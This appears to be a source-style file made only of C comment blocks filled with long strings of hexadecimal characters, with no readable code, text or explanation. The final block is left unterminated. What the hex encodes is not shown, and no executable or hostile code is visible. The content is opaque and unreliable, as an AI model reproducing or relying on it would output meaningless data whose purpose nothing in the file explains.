/*4b1ebe3ae9ce61195feb41bce5bead6b38a4241a0c74a0c506e1b7cb1349df9f55fe0b19b19c35d0bc9f4d4fea4f5e3c1616cf0d7f1023b3b70ed59556e53074bcb2cc1fa52e4cc2c9a9ff1d8de193170e32d5cafb6cd87d6e47933cded9483577712f06e1d968cfedbfa78acc909faa99b6fd4e2adf005d9235ec133ccdf4bc20d39bb0bf265fa39c3682bf1ac658d88bd0ec484fcf1317e8bf1582b0209ac0220a7bec36d9e574ed34ab5b966b9aeb60717b8ce0c32cbae89e0a9572c476d6b990e41d3ddb9f8a6de22b6fb46786f211b05bc5c459b615a50299ad6d150e705fe1e5c55e793d7d339c4ffd70e67d85aa8a9af01855dcd6400798bc11d2be03d54d1c7af0bc8c43481a9edc119eecf346c086f5eac59f5e7e9d1ac2df4cf064927543edb4060356517116c7658546a8c6721543b76b72455174e8f839bff34f26224f97d2ff6b5b76d647bbc58128f11f5670c199903cb937f87d8936502fe65bd6fadce4367a3b09385f12511fc5ffc324c364a22586cc87b3782948f4d993e01cf156e79c76bd887e38e427384765bdaaf42c39ef0460cb2581b551971c569bcdeebdd8592523357621a45d779b5cff89b83e945ce919ad8f3b964620a155ac3f05fc95265bb7f63baeb877b64e970ff17fdd999e6334644d880c3f3e6d100650526c302ae99cd6edfb907d94af2eb25fd9aaecf63c2a7ddcbf8aac0034cf3562026a3ab85592cbc5941d74e8a560110234fc0c0de58388c346272c2182881acd82eed7d97c29ae5593b24ba5bdab00f443c03c7c9e834b2e1819f5dfaae7cf92816e875a0410a87c4a96c6fca557cd9c5c514f011755ec545b03054fbf2f14328f99aa3af53464dba5d3bca762233c19788d39df12cc0c037f6ba448e02db482d38723e7066f7e4d9e92ddd3cd38f38481458123ad55e8f8f41e7b0a03352e0d29c71c27e1042bd8729c04202fce2e9c0110f0dd1ca296d33e29c047182b8a18f729b8ef32a3d88afeac2a2b7afd60fa77282373bd8f3eb694b4ebeba342a6adab7ac11ad823ed488095be5479c91b809bf48439d7a50df15f61a1de7f3742dfc0066685c8252a12658264200057809e293b51b47a4e8171cd64dc2c80c62bcd967ba39eee329047ca24157f856fca85a07df40f56d7cf7780819bcdd8b06c7b15e8df27c7bb188626197b8067e6d0ca76187c3e6cfe08b5e7b0f67631c0a0d0913268c20c7d79dbc523602f200c2ca3dd2fa2c9c36ac1e6425c63e60408ca7b85056a9b5d4ca5945fc0c18a2189073e0c8db23a2b4ab16ba1ac3703d9e2aec6685d7e5faba92abfedd61a3e1fb4d4ea7778edd3ea265cc856ab75d07c5acf754c79d9508be17b0a642bd09d0ef3d1d7ff713088b83c9cfb13836024ef33ad23d30251e8e1d2f915e9b4ea7215f18d591cfcd39b7c3b3755b85f8ab0b1a3b88595df73c7a1f126e7fdf5a6ac40dd98666ee2c213ce5321888c4845c8082078a8c37bfb02f2cf0b456ae91bf7efbb88ffeed9636e065a6c7ad6ad19e8c7d39ab0a661ba879d6822087dc76ecbe041a5b7919c867241bcef074bcc2f07f939faeaaf92cfac5cb6a18d8a3fd895d0cf459df5889dea6f39a55c012d91e7c9f275b9c2f0252bc38a3c89ece13aa6f79629ab50992e4d8dbd16d120de3f0189553e5d3d504abb03ffbaecf544525916baca3e85607c26f166dbc0c7be317938316e18128ab54af043d2dc2600505f1ecdc33e7f73f7004353d22922aa35f870abcbd33298e0bd596e86f15a32eb30611cf1d4799caa41645717d4bb8d012991040860e34c03bc1fed7af3e535b4515b552b6c3dd6a672840019b5d0e208bd1bdd93f2f45126fd1aaa25b02babef2d58a9494d08cd4afb7d8fe27131fd693ebafb8e66ab0940b096612e09c2c9f2ad3599f4b04b5009b3a0bc244aff40a9d2775724b28df76a588f5efea97eaf4329d9c4dd36eb0b121c4985bff5a4ea2f9819162d14ed849852fab69846a154349eebc8a19686ed20a487b8a615dfac360b0c5b177bbe249014510168e0cd713165d241e6746cb409eda3512de67a7674f7d52c8a98c77e89430c365a7b1acbd86f68a85e840a3adfdf6b52cd4144d9e5f90ca13e9779fff78a0ac8159409b95be6b5c0ed7f8fdf2a91f7c0fb3219cc69e900aafc95f14815752db5eb69019b81a8adcf73b285b74337126927481a2455517610f2f704df266ae1fbc9ff84dbb3df663aaaead01820907cbfa9fd7a4b7770374412a8e7fe61394587973527dc091b83ca2d795a59de243c265366e42cbfacb167b481d6c62c500cab5192181a3f1076491ea5488937a677fd577c20fdabe722a5023421dfe8cbe48f4798eb6e5a3c102a904d59b56059ad71b55bf9a658111fdd1f0c2644b56bc3fc4ccffe782291eedf6f2099d43ca527fbd806d89864d29e00f6c6560e087203d6e62203443d536221fdcca2de9f45014846765893fb9c1fd59d681f4aca3ddf24094cb832e30a9b957ca7c2b691cdd9660cd3c60528bf672dde2b86258910521b719351ccf038cc29adc37e1b1c8b392fca42338df0a6fb954637d55bd6e0fe76428fa51fc45660beba71e43e2092597b6f13d5eaf79eb76b3457ac741a356bd975c4de8be8265c0389803340199ee46cdef6ea386073e13f57e6f72ea6cc7b44e78e79a5578eb5eeefa6d84738fd26b1322febb236c0ece90e63c1c65240ccd5b7638083636ab4de711aad1d4e6e1c8fed9169cd6f16a61f40ac50123230783a7dddd6978d99154c5ebed2208dad398dbfaf81fe4a4a09f1c012256b173fc82ceb71eebef3fb9548*/
/*aa9b3fa70478d03b9f0f2e592c4dc27eb11344755c04897670f3c0817a7c51da06b5bfd0b17b14c83ce03254c308445a364d7476815fdab6a38eba26b1df1f917205f20ab2b6b6ea61bd8ac37d009f8bbcbfc3dc166cd16646d561c3f174751cdc6e88a7a92567ea402a8e8d3ec9cdfdad4a006e48eaf1bb8a963df1dbaeac179a784832af5d436c3d8fc6bfb2d427c34bf00442568c04206c1c23b19f7b622d66a03eba710a566e8cd5137abd14c3786af884ddae7009783c6262804dc7c1d62b0d841db6962083dca4cf1083934e8e05b5eb315ec354189ab545d5bfd003e3e6e486e11cb587b307471ecd1fce105d54c43a9b5811fe6f7339fe082951b83fb4762df6cfa50c9418b3a58b6ec7e28a120856252a23e6f7f8e682ab14883395d55a285627e63372a9f2d5ff184f3af4df8d0f62d119f37389f658cbca5a22788abf6da95489db0cbca474c2069456ba4a354db7d3fa46d4cea9f32e88f4ef6694a9f2ecd8f6512068b5ad5f691a029b9d8b958bcbe72e68de61304f7a69ea236c02dccc56e168830d121d26914bfbb807a6f3b944ed4845cd11a99a1d65ab654d61f35c8628b6de221fea904b07649db56ab77698edfc842fa43b4b12322f4b79905eacefce4a9272184e11403ec6b1325646538f08bcd8d10196096f233fa7eb185214dc051267a2d6f440040e0064ea4bc38284389b4bef50f4d0faca4767026a1495c4d98a745b54722b14accc5092641be41e80faaf88e0c81873590837836e9bf7b6746fc9885c0017d3722b363e2153de65acd807742f2da761a956be9b8f50c420ddb67302b03c234855ca0519af72f8098b889f16dc102d6423001fc7c1d03fc98f332805d18946dbfb62bcad389b02e65a1425b0f901b4e08ea1a51d7281d987d602e5b6f3ad3c5c1c7eac36fc21637a5b380827785a1295257d08c9df6099761e1ddba5364efef976ff20e5f89a47d643e586a9be9cd005cacdf6eeba2c7c8da186a49f430d0067dc99e13f3d33019da3198d2a0e8c8a5980ecfa484c2cfd20df9afc0adda2ee8358e5e54dce711002b86ea9fb2f5987dc5153deab6dc56a8dd4640d503405d272ddaa522cf041cbd1ce7e342e897c57a47206b17bc8ab7429c400b8fd557bdf17765b53113220d3f49d1cfb7e1f13d62a4de6cf416bf19ffcde0d44a23b847afaa8f0f6e1e7aec6ca417511879049063abde5bc764f8f8fade1bda85df3820bd37b9f472764381761939ec1b2764fd68fad1d74c898baf173261f76815854c783643c65a82f24003b5c17032fdf350804986dba59e6ade725db0a599cd912dda1c0ca8bd65339c5062f02c6aec30634ffff6d857234730c1b0c77a25bdaf39ab0f6d7dd6e26f16e18e6276821937e93c6cc65b07c1c38fe6e9d12cb3d5408febaad1acface8e1dec44b87dffac2277b2fa2f218cad84cc1e41e22c9b0b3519561e9a5a4a79ceaadc7f90ec9e8cbe652197cf26671a7ffae79af9749f8a5d8b7ade2a37a31a3bc7d4e908be1de2077b83f4f5dc56013c890a32be55660882559a7c5008292721ca14323fced307c36f86776cb0227b534adbb19ace4ae476d97fe871ab9296158071b78827acdb8385580838a3f7b5d59c70ec9a4386e17d3daeb95cf5b4b106456aac2e0a06d4074135d3dff815bf85fe28cad8d2fd55525bdd2135662c797f2d672e316b77f6abb434d7fa19e1649dd8d9d076c3e48f0523947efe303f3e9fcea2c5f80ef5c0b15160a11501939ac950a8a4637e734aea239ee5e0eab45da32580357efdee3064b7cbd5b06e439a4c132e7f15816b8a9af1e7343919d32cbcef315e0c40d268a7d561909106f33c95f0bcd425765dc16b5031fb09f64a9ab9dcbf5f2fd9e095b43a37b7eb307b4a59274a1167be8d8b8c29744e4a9e5cfb1d7acb0fca02ece989ad65ddd68764286de1fc70a6f65951cca5db202649e922e7df486ad19b83b1ffee3d6392a3c36c99a03b0659bcb88be064055eeacb73e3e0e02d563a640fccf67a1fe3ab0a8e1252d090bd50f8756668eba02761dbcae74204335cece9703b507df90413e7cd292e24f0772aeb0d2db9a68c4fc7182d2bafb0e0fbb2080f3ac0f190808254aa85487d0fdac4efdf1cd0159cd26d2eedc65f286f146e5dd588c594d13f27b4e581ab64c0a4e44659d5aa599cc02aab6c957737a4c3460c34b8055778672b16e1956e6487654a5ebc07c471689c2049c40eed4cd5fa1a1d395208bde1d1f45d3d858d3e2d53f7869d41fdef465bf797be5ff182f16cd148aa10a58722e1871427ceff71069942e78f9a804c4cf0972de5b268cbd2542d1d3cdbaf9edceaddd44653b0c02b044e14b40b2d2bb3b5044c360890dc0ebdb26e657435a6550d52b03111d92b967080706ae198fc3fdecc78e7b3a6e4c90d85c4e7c7542cde8a5d84b5cf6826891b794839dcc2f45cb3eddbda6def3fa25a0a6d9a45254f9b0892384cc035e6b05b8e3c3e4a045001256aae3a1219e13ed0f55c0a153a4e19081ddafda675244ba02981bb67c75d01d2850bfeaeefcb56250976454ddfcdccfa0afb3931d927d5d63a32cfdb1213eab4f140f41593c100bd8042e87e1d747df4dbb981dfcc3335112dbcd88b29c40adde00a4621bd2302ed80b93b2abf94ee4bee71346ce3c4cf51cef3a8647cbbed9d562232c48d676a1a8d42dce3bf4e76fa3bbc92dd81faeee4743a05a7f83533f962434ede110a571447c8add3138dda950f4f76afd451a3f6d1f7320ecd566422a746b018147ceda68ba6976bd02963406707e4acad58bfd807218286c67df52201e3f*/
/*cfb2b21f5208e3cc0a4a099000a255393ee56c857c31ef3b3a4b6ad917d77851feec054e3203da48881c156f4ccbc0e15b8764f447cc0ae9d11827dc9e8dab149282e6896bbbff8739232f41d6a37bf4cb05c9ee6432b126619f655d186bd46f9f30d1846d854150c523f75e2c8b0ee6c0c1cdf9f57182e23fd920d346696c07b13bb3ca7cc052d7318ebd9e35e157d6e370ce8d3486aeccf217e0ec7effc4db281b1d832946f3da0700768091f90b7464e1c168167bcabda49c81308cc07ec1717e53533a68da7cdd84f96d3fbe1068d2938c1569854ccd6e9bd03fbc433f9ca0c84c0ad13b1fc22999315e43447a4228272ad982e1be3de958e685711db0c5735e98c41642ffafcfec613e22ef14f99b66a1d3ec3adba7264351e61879f90ac01c35033be89709cfbb7197bdf4f272626c9b4de340aa0ab9af5d6d7f7b95e5ca2f4a5fb9193195aa3c78cc9355db9ceaa7b997f82fbfec16bd5ba2a4832a4d0863cc475d721ca90d29e301fbec134a5b9ee43d77ca16243d4698a246e8172d572c030d8557f20335af94470219f3a47de707f308464c6758d262d7929bcb8976cdcb2b290855b391992928200a97c50ad59ce880e68ab4ef43091647b7f22c50cd9bbe1c2308a5dd343326ea19e6392efed5e7c0637e5a53b3bb6046fb22d9b3cc0febe590a8b2e13be80f3ef5c6160b61a207615d1688162a34f7544353bc679bbd64c18b0ab8638508714ed072d81524f778fedb60eab6b2801480aefa646645979c6683fdb1ac94e38fa6386b8b16d6c3c58adf36294f14e17ca44f20b72ddda2121e23e963bf8bdf291c71c843af6d9c27168361c47992335a6766434860041f762a6acd1567c58b791ad2e734c3cdcf605d9162f4f6d87d3dfeed6146d9d4a2ab94c2226a76c0358e81eca472bb81c2e45bde5a3756d29bab5a94dff447f53089dca53752ec46e596ffc4eb88d9d253f269aa433ca0f8e0231d4a891e028f02ae3d644e24170658f3b8145388c616ffa44fb3fb9375e0a1fa169a20ee54af5c22453f831d77a5608332e1f67b27761d41e8e1c9682bb0d256977aefbb62acdf9f6de92ca8258d5a5eced4f1b9ef19a3b4883488f71fbd2a70148885ef2875b950d578ce12ab915d5e50282b0b661e970101201ad4dc3a961c38fc9d6783db1a2afbb229be5c657434502c762db933bc06f29b043dda4745c11396365558f48455656e7277bf3fed522babc68a4d214ff570b1642ab24a5bc3a11f26ec9ee38822a5f9cbd2bb6eba30d504b45c0a79d86f34693a5340521ad5ce84021eab5c3f5553da7667b226d372d15d35ec9999a0187d7337dd8dc8663da1f3fe1acab4454f545e0b2e7eced819b5e8cb877d027b942b70f21bd8e638be3079093d4e73c1310c0d070d282eabd6315f3346e6ec83fab207ecc51278bcdfbd04f6a4b1a04d6c0a99a1530825a1cc7dd2c0d531c0eaaf35dfdc289b7aa4e482d9a03fbbfc2439417f42b805a4d443b9fb6948e850eb024f1d93a6babf381bf8937990334c354f6d53e17c2c64ccb5e47df5ef6c9975a0a729d8fb52df2011e1d10ff37f0d353ad85702956642cc2c5a33fd057a14b5f87c5894b5819b29d34049b9d71b23f5c1c0aff23c8970519c14fc20ec47080e3b675029585fc744ebba90719c777682cc53d3b0386be52ffc8442c826602b7298dcce050671af98848af28046e18d20d0fb4f548c55b2e9c9f94bea37f68250aad94e8444e6a028ae364f2e4c62caccfc6d84001f12354c049976b620d9228e2df05e9edb8ff7115545e243cd371ea81bc71086f19ae8187d0a75c50922e74b727afb047abf1e0f4caa49fcea389a7b0ad62c64e1a15b3324095179ebe3789a8c4aede9d2dd8b983d0bdf6f5b9053e967852e51b2b6845451a0f63417dd38bb8fd34642242bd2a174221c0006b5968388787c78bac7a97f0abae3ca44fbfac413b441565b8da5ef99457db63248baf25d89da63e979ff072747bd58ab46171db5757d6af6bcf708d533e842a97a7250c2fe9acb088ba3f0984f6bc1b6611c308eeadd38dd9011d89b6ab75703df4234c2fedd1956c482f0fb5686a6dd63354ec6a79dcdac5d9e43a3316c60b66436a8ff1c4e7d0927383e3926f3dc15e6b745001299d8fe984ef98b53a7cbd5a7a196a7aaffe5b905a7e28a4eaf62298e98f3cbeecb6d9383e08cd48f98414d3232f3e9c56b20da7de89749f5d1179079285ae2403bf2506be9c56587fbc5c4231e34447929b16e8ba6a0a2e3d61eb9d299e5118ccad84053f24ba6b58c57a5f2965676402e4916083b3e78855c00902d759275017c6f829e7d0b476c369f8926ed70772fec3a93d1873efb29f006c7025af0e1244f48a9bcfe3708fb7cd260a9a9f7d8e39b7e66f4af0198576240c8a5aa1bf80b03a46c66087db1d60747c8c933b438aa714bc4c56690b5b584c3fc983984a5b90a6116f66d19c1529df58fca0eeb7ea1a15d80eb6a133892f163c8a302919eb2cfb159b743510fa6815f0d1fccbd13301dd24fe6c21db4a8c40dd2f4b1d2a8d0824265673d1dc4bc92cd798a273c5f50b600d0ec4709fa59d8f18650a297d355866e1220f382884e527d9c09f7bbfded66ff6722fa81f0685009d098a7c2aee73937e404d2c9da7c12647eee16df3164b669b6da48fde0b76fa76075e379b65b485b2ef8afc68bc911a7eff63b6685a5c3e67b82a9e42a4776383e0479fd67f6684e10a872d1c377b5fc74fca1f02f4babd62c2f4636ba258bb10256e8bab8d341c3f1808774c0c32b91ee891669b030fcd26fccd03ead2e20c3b2*/
/*e1579334658d330a3c91b3bfd5074ebb0a6c94321067edc02cd2693e9847a2087b848928b8f372ad22d5d66e34bd08687e69a34bf5ecb7e4b4be0c80836997c239650c87f82fb0351277ead4a80e91cf3c22859fd702d3e1a7026562ea163ca95dd56a362a7be617625abb18798d70be306e14713a5e75a783b255fa1dd33332b9fafc12257332d6fbda2355bfde06f3a1c30d218d6d1f6d058fee80c09311569c2ddfbcff7a54b376777707a7ab3c14925b3f3a4c2b287c5753d83bd0be042942e98c1c4ca3a870b67e1dcfdd843871eec8a7a3644a95d1feacfd9a4fd03fde2bbcf00fe7af174abdf7ff1cd603deccb5dc2cc15f3f17c8c2b6165d583f631c2cafd68a7fa8ec04258a1b74f3c658922e468234ba1fc10bbf1d8060123efd1df45a945c554411584efa48d98905a84330c08328a9f5d6d18ef50152216a84d76d27829faa3646e81d890872962752a869dbeb69a4313b3fca75704e4ccd97b2a61e90d07a039d17b772a05d0e144f5b32954c320fcc19b1af5e66d45639c8835b0e28e81d9cf49b8033f29e56b39b8243d50468f027093f365ace84ce53e2e9c4d69cfc30e5743dc27a32171e79dfd323335a1d192cd5a686b4fe03b99fa13140317a2dfcee4eed21697317c670baaf3ec68061b819984735b1ad8cfd99f9875b52b75969be020444f90816ee76fc3c5b28b601f3ec63ddae34ed30d560d7e8c8caf36e27d8893a45e3d3640eb7abd5e1a0127ce543bb11d1644f3476f85b9254b31e68e77b5b99e3e3594d5658d4097adf23653a417f195f69771d469ca1ab8dd6e570bdd73f9d438c36f4b988767aaf6decd062604429d77b8392c0cddaf370410e91e6bc8c56d9ce8a1abdc0df4460cb726e8c5a67722c7b146621e96333e62efbcaa886c5d389a489a1923fba27e7e20541175c3de46e16d992ea2e8910b130a60a8b42cd74a68938ce6b40a3c16acdd9aef9d7ba6eed1dc3426f962881428ff6837306539287ab76b608d4db1b9213d34ce431c21663955d29728e9995d45fcc3d44487098e2403c205280553e12ac07091771afea31c3bfb141a8698664fcd58d552c429387b23c89eefae99399e18ac14b1147428818563b88485a0b0731cc398d3bc77affd97605b4af71a9924c56745eab0ab825563545bbe04260041128152d0d9659dc4fbf135c8b794a624e473041a6887ae71a61b1e1e2925f9ae7d1ec5f1b734555b07ba2444689222043acedb38740700cf17ad3236f01fe5c88111121f6575326216e1b515e1816fc33f2bbabfc1fa5edf3d15c9c512ceafbd4400995ff4cd5ecb6512efb54b0b33e25710a60dd9d5d6639c7f8ba0e2b696beebeb64bd52051facf8e0cdf7c5e1aed01307695909080492d06dd859978c11a2dfa5d9da4a6b5770e563763ed681902f90ccc0d9e49088bff08b1f562f8ee8b4d82481ec9cab7e41f31a9bf7f5fb14e3d2eaaa8deceaada6ac8438823c30832de4692cdcea0f6d1ef8e68ebbe7664421021c4fad134cfe3ca3f3ec84b4a617debc91e123a683baf5215b9a54765a83d29105fc4e7f5f67570f764b3b2dfcf723f4aa28d4d061b6567c5f177f95f1d4260377fde8d4853b48cf075c394b0e712f4a064b9ed70529a6b51ef6ce3ea8f5a99c6a9f7289a6fdcc68847b45dd1f462e9b2cea589127a2537fd87e52f85289bff8781dfba1ecf6b202fedd2befa14f7a9aeed17a72ac3ad1d020509465c04a4529db6504043e76f5c7357748de706eb8232896133332a72b5dc77be4e919421d5119379c60c6d56e060dc167f04ccbe603563f56cdf85ca0bd531f0b4880d3269ed84cc7e67bc6a5eb54df932dbfa03b43a94e4b883884bedaf1db6da50ad334bd62d3fcedb6cc879c6ad8b52a9db343162fc5a7cce849c8acc4324ec178fe6e32c60ce44281b9c852021e132e62f5d68ace89073c246b05049bce29f4d81cdd3dc3cdc8e99448e91151ea3020b5a22a8be9134c938560a86e320b81ee8c04d252f3c460d61e4230325f6c16a2960c1f9d918ea922aa654b862433c49de754602d56307d873a97fe0fe11e4c32351578384832d472b5fb20d5c84b112e2ae3e061768b3facf67c2d9ba17ef015f52cd81974a0c3d8151a0d106eff0b6145b9c6e0ecb3bb0abd22900a5df5a6ca6eb943f0bf5e13d0bdd20466d2d813f329508f2463e15926cc3e4be2e79611d145da2bdeb42fd8a5ecb5109244b71e99de892df82fb681fc31c5cc87c738f2206f81c84a7f829aea2cd867f12ecd2451b7cd9685c81f6e72f2dd8782e1035a408edaa1de8b32f4d3124458e93bc8ac4fbd441f2d2860f0ae8ad24e58badd32524ef7d7b98ece005bbb131a10b20df4f3aad544fefed5545bc58e59dba8edb9f36113353a9f1747ce6d7d291145d79b5cb98bf3c49fc2c4a4afe3d3da0230b133ea7f10ca779b8ec2288d3c966006cad1cd8bc4944995a2412e348add902a8cdcdd7e25365564fbcdf1233a1769df412e7e016bf5350ad5c2a611cc9e4a7bd49a763cdea493cf2e562e3a1c792bde3840d2f29792be2eeebc1d1f71f8963009398034eacd75e1b960dc4ec9f492282a4c373e76309695c5029892b9143bf3af2852da5d824b24810bb6e87eae0b40de93db628271f32cc484b774d6b36fe4d375147967aa46b24c3c6393078862343f09a3ae5089d7c5ba68e3c8351c36725e8165e0d726215e2cdd8587fcae75be477dd6116db67a7d18029c78dbd8a52129771e9bf1c76d7705af6993a8cffbf50c86a4cde343be07e79d7a084d68c97a070f678ffa4353a2f5f195a2dc42c3a0bdf3a91*/
/*8581a6e2ec48b609c059c4c235109c0adcef0fa2a40729ca6c13204f1a3477c6fde2bef77dfa2af49224a7cc0109105e95f7f09a4a96dfc9fc7c6cf2917f2c05f2117e9bd9e0be99186de435044a239eaa99e184d30ce763c5a33a2f0869eb943165f00513c2d3d2a9035b3c980ad14aa3a3136564f10710a1ee33d60fd9f9306a36817bfa42b875300cedf5317b3e685798935eced093ab67dcfa1d9de08799a8bafb846f152a65b4f4880dad513a3a1660d94c0ec9fee9962f6e68ae992de03eb5f3b3d74228eed9a2f4343dba749bbd43ed4392fda5cbb22ca13650aaf1b0f9a67ca378454fa0f7f69ae8b904f7bfbde8165d15cf4013bf792da2188715116faf7e8ad076e27bd150f434567b475af7027b93f14942ed05a7064ce97344112a7836826894606c234f9e945bc9d8b543586cff09f8f400c4359bd8009613c19eb5ff488339f631f2f4c4b6224b25c8721088040ad439577deb436f6ee0370c8a5502002503eb910c3251fb754faa39ff27f0df5184fd4fc4e12583eb9b0ac3b31d9ea1d1c84867940c56d44e0e9f87f51892b799f26ec5806eece4580aa53979a76bc49fa881d505e47f67428efeb2849fd8d4abc1358a2e09addf156db17056c9303567fc3779245dcf1559584c17539ecfaaa8a7a6a7fa554e58d26ab73a33121c11cf66316eebee4641cb3d9aa57d177c2d753173cacd7a2b58daec09f0ca00b37c8daffdeba08eaf43bd53347458879f59c31ff2ff04d8c7c067433b2aa5f6700e1efe8d41499db13642e2d3507ef5ea1808faa306d71273881a5cfaa5eccc3cf11c49e5c062a2aec624ab2dd07ca4b7d22b6b96b4fd7462998b08b64849d0e80904dae5008d0d8164a894192454af3b7c20b3e0e1448cf56d79ab6d92daa3750405935d957d99b5bc61aaf93c682b5dc0746d417824dbd271481d259add899c96788bda47928fdf22f5f8eb42e388a22fa1b23fa45d4dfa06efdc02687f69978ed87ac973d6e190c6d113a9d3637a532e36aaa11529510d71f5ada895d4a22c68d6100a5e22c99e8a6839108291d19866a0ee7b22f4353d4aab2f83440d42cd524ef4ad23cc05c3ccffb94372c7c2927d9a61edf248b877686617bda14fca89efbd2f978df839fcdd5e974a1aae454ad54cfe1611469560c93f55b0ef000983a67c41481ad2f17db4a19cabfadacb3b90f8e5836fd88ff48c2c5683134900dbe8221d671d9c6fd73787f3fdcf46156e52e9336f0068dc2fc458e0b743804788b1b2de7172ee34443c2d9286c840ba879a108115607bc1d99fa331f3f2551183ee3e40f7d49e0c108121632d079e71d7b0480ac9486e3e2ab61bf8d88da508505f5175d2a5f1ad9534cf6d8b614475216251aa99c52c70d5dc439510c71f1ac9f5fadbeed397f971e42f743716a25d32c4bd5f031d36d3393639283c6ced36851d2d72b53025de73f13bb215b3d3d800de9b95ad3ec1a89f59af104ea695a6af6865096f78542be743aab2dc9700ac4e08500ded7cbaf0dc4905f4d6e913e4ef454cc5d182017bf3dd7ccdd10023323a22ec27c7f10ae3995fa8669eff50d82c2e9e927f2d055c6f67f59a72da2f75cff283cd893b0658d66e0af0c3cc023f651422463edf007c4c75e4ed103b7f7373d58e6986390a9c8b8b7259fd31cab4cff94523d59bd796725be03c181a398f8b69c433c281fddf9a8668b4831f86bb889f82df205fcd17928b4be317a8e056d565cbcc3b31c763e89d57163349592e58a087fb8928633e69cf8afbb825bee073ff0df66a123a1ecfac9a26102efcfd44c155445717d9db31bae47fda9bf2d113190a6e6555b37e2e49fa399ed78b78055a0c9a4866db680feb07bc85b9f6734449a157c0921f6c8a23ca2e09febf0137ab01d0fd5b1f9d6460b7b68529300c1cd3baf3bfbdf3a2a7d3d40d234ff260d5e50e5bff4f75989915916d41837229ecde6372fef965da445b2e536154647b55782a97f3784fb010399e42564e8182652f99ea603efdd38d622dabacb9f7513a82c4014d683c3d1d5c39fbc0c6d7f5a067701c22da12b159b37147c357398c3cc012958734b3918c56f068a9d1f269b84ce4e09d6d29da377d634f27eb49aaa84300394cbb6df546c80f13e3557b7765ea053b5972fe72ed90a982f74785dd3f2c168ebd320ca0339d9f79ff4e7490d5e3dd310bc9fa4052a2297c20051debd2f7c676f34940d4b4345ca43fbd81029fffd4fcbc507629e51caabfe4263c165cbc004f239c35f2493dd0d3d6961b65704a7f3991978612b2469b483f130d366c415b653f8255f887b43e1617a17a7ef80a2f40bd48e9c4f368031a2052f4b5b188f452bed97c2b3f1ca230e5aa292033865da895eed95b0a14920618957389f168cd0beb43e7c089643f25239be4e42d5fe90db309c326aaecb70b07f4cb25344d87a1e69262114b2cb111cd235f531c75cc641e3205d1089dd1155b5640a66e257b67d652d2435762a0eaed63de2544c91f555e280fc1fca54e283bab5ac2d75eaf6926af4f5beba3a65bc05c17bb17031dd8bed3f0cd3496adfb7fbd5215536e2872bbf777791dc7698d5b309560da1271878b3b41887e06a53d3b8435c9824d9a540ad2126963060c2413be55d720926bf70f1862beed065a7a33fc79b1ee522848b46ecadccb2101a9d82bc6ac41b5445a2366a3bd842db94a583bf367b6d9b672429996acf60bac52896868dff7747aa8a7bce99ad2e01ccf80180e7aa7ace5b965667f6e0a813466146294abb3f11f2687884d70405ca012adea10128b3f4657576e818ce4e0121b7998*/
/*d8ce96bb0da236b6fac68073ee1e8187e9e90d6becb570c247be86f1234e1b01ccc61239402cba12d5b40032e4d3e11041033631fb5dded94a51d7aaebdbf1d3f6d265531d4854049f539caf686d783dd2d906773d84f5dba3bab12db737b25201fc18dd2ec6c8ff45ea9c43cc308a1e8390e8bc7ded5264cc520b2c26bcefb6feefc36ed7d92c142aa27e128560d01192bff65c04ecaed012e621c7351f61e85109f494f1899a717cf7d3c1698a45b3043fd41fdd592caaaab580f79f48fea1b4768883e25625ef0b2ea362b3531e0556760fa405dcdbc4f7083aba8c2d714ed91ef4766482420cc8ad3036bea39ebdef773477d5d2e629985393de95860ccad33b64177d1cfc2c50054d7aa64f4275316451a7817ca8ebe94ed2866854943656ea1129d71829a686ca59a9d3b4354fe24ea8c8845bae22b26d28a1703942e41e7e8cc648459af4fafa612a026a75d9f20e3cb1bde66f02e8f509610fa2952645f8ce43266b564cf4a87f54eb7623bb21efd0bf32d45a73ec35fa5fd1ba3998352adb56344b1ae2a6f4e800f4105ea5fb419238095fba9c5080bb4cf043860452b844ee3ee9ef9943a050156cc4af9749eaa9c490749a97f60298b074a995318842a96ceb879ccdbc1d64853e2c832fcda60b77864e407922267921fcab44a68825031c8213e7be0a47802bcf9fbe1a409f1efed6565e9f8e956fb85a0ba362a2ff960ce94fab67b7974c66d1337741ce589e9bb4f0af709b71fd2f74d918e1ca456ca94703a0a7391c96580c4e12204f1898baa8c297148c5afcf73727700d056ea319126137c785255ea3e6f6001a11425f47e1276730c7b1462a7e79dcd12bc815297596fed1994937a7bb0e471400d721033edccadf8742fce9a9af1cf43334748a19b3fae427e0863a922d265fbc9926d941aff3808926c46d26e7bfd34cf62098e46cbc8cd7c70d3db72ae3cb9b2bd3295bd651813862fc889310b4be7d502f280bec751780082b5ebe9eaa4f35265cd5e78e5ec804dad39b808c0d23afec61368bbd10db2af16d6f89b2d57b656c9038838131353a096b0f29e249a00532e2ac7f41c43175d1539a111fbb444746800de8909a63cb48beb9fce9ed3b6a7b446cc06efc5bd61d83a8df077ca36801e3a682a858ba396e8391ae16121a17974fc54c46b283d9c3d358b28902f8b41329b3e98e5a11d26a63a29dbbc358be57554e7cf047eaee6ad6371743855b3f2334260b6431c99592212864db2bdb45fe0f59cdf9c72ceaad0b329e5af9d75042054237b8501206529af4901112e220249408aa412cf3c399fba57f4f198a187aa8379afd2bd4000481ff5b9ee130782db6480d869f03e2df0874d85752d3f75761e67f52eaccdd0c0abc3bfb1c508cda8397795e752e17a81000589dd249dcbaa3ffa3d521953e8fa351e0b79aa0713dafed6c8d9c8d6528d0db77fa142ef73d26f13d66d8d4cc88152c2675eb6ba2c69b08d8a403a28a48c50736fbb494e7d8c6f090dd58d6c4bde27b1444b1d96305a1779bf491fb7fe8b5eacdee6cdd3466e010f35cde47ca59beb337dab853dbf23b08dba130dcdb026e051afbdcbc0fce1f64bbfdb3891050d06c13f56f5435443850baf26a261524ffe8a065c88ef5d45d46ee1cb0c921856cbfd1a06421ac6dcb0963776ec0020a5a950add4de27b7cf855fe0cce2489fac0feeedb37a4b152e65787e3bd68a705ad14d7836fbd731ab8e8e3c63cfa9da8a779ea44e2e74d1d5ad2b4f3185cbcf99d91e6be360ec55e0bd543b536926e567c4c60a6045a4bdb03f611449ebfeae73507dca99bd86a1386fd63c1d6e80a922d6d10429c46cbfaf40685dd5fe59b93307ff2d93fdfa6a6acca70f27b6dddfa8074ac3d33e5085b33b63d54b93a5cbc9519024bfa2b66957e8e61f1b46c1d77362dc9b443e59dac654c828976c9c67de85dfe4e9260a4f29ac74a6f515c26f3da22847c1172489f0f082b01ab5ddd8978a947d6b2a3ea2ecfaeb4c9cb97d53b260faf20c7edb88db2cea7f310726c44b5ae4fdb1b487700cd6b73a36d55603e1bebba7a0434acb50b6792e8a11685e611f87592849b090280267bf7af389a0c2fc6a4aec751d0113bcfc56f4e258b61ed6e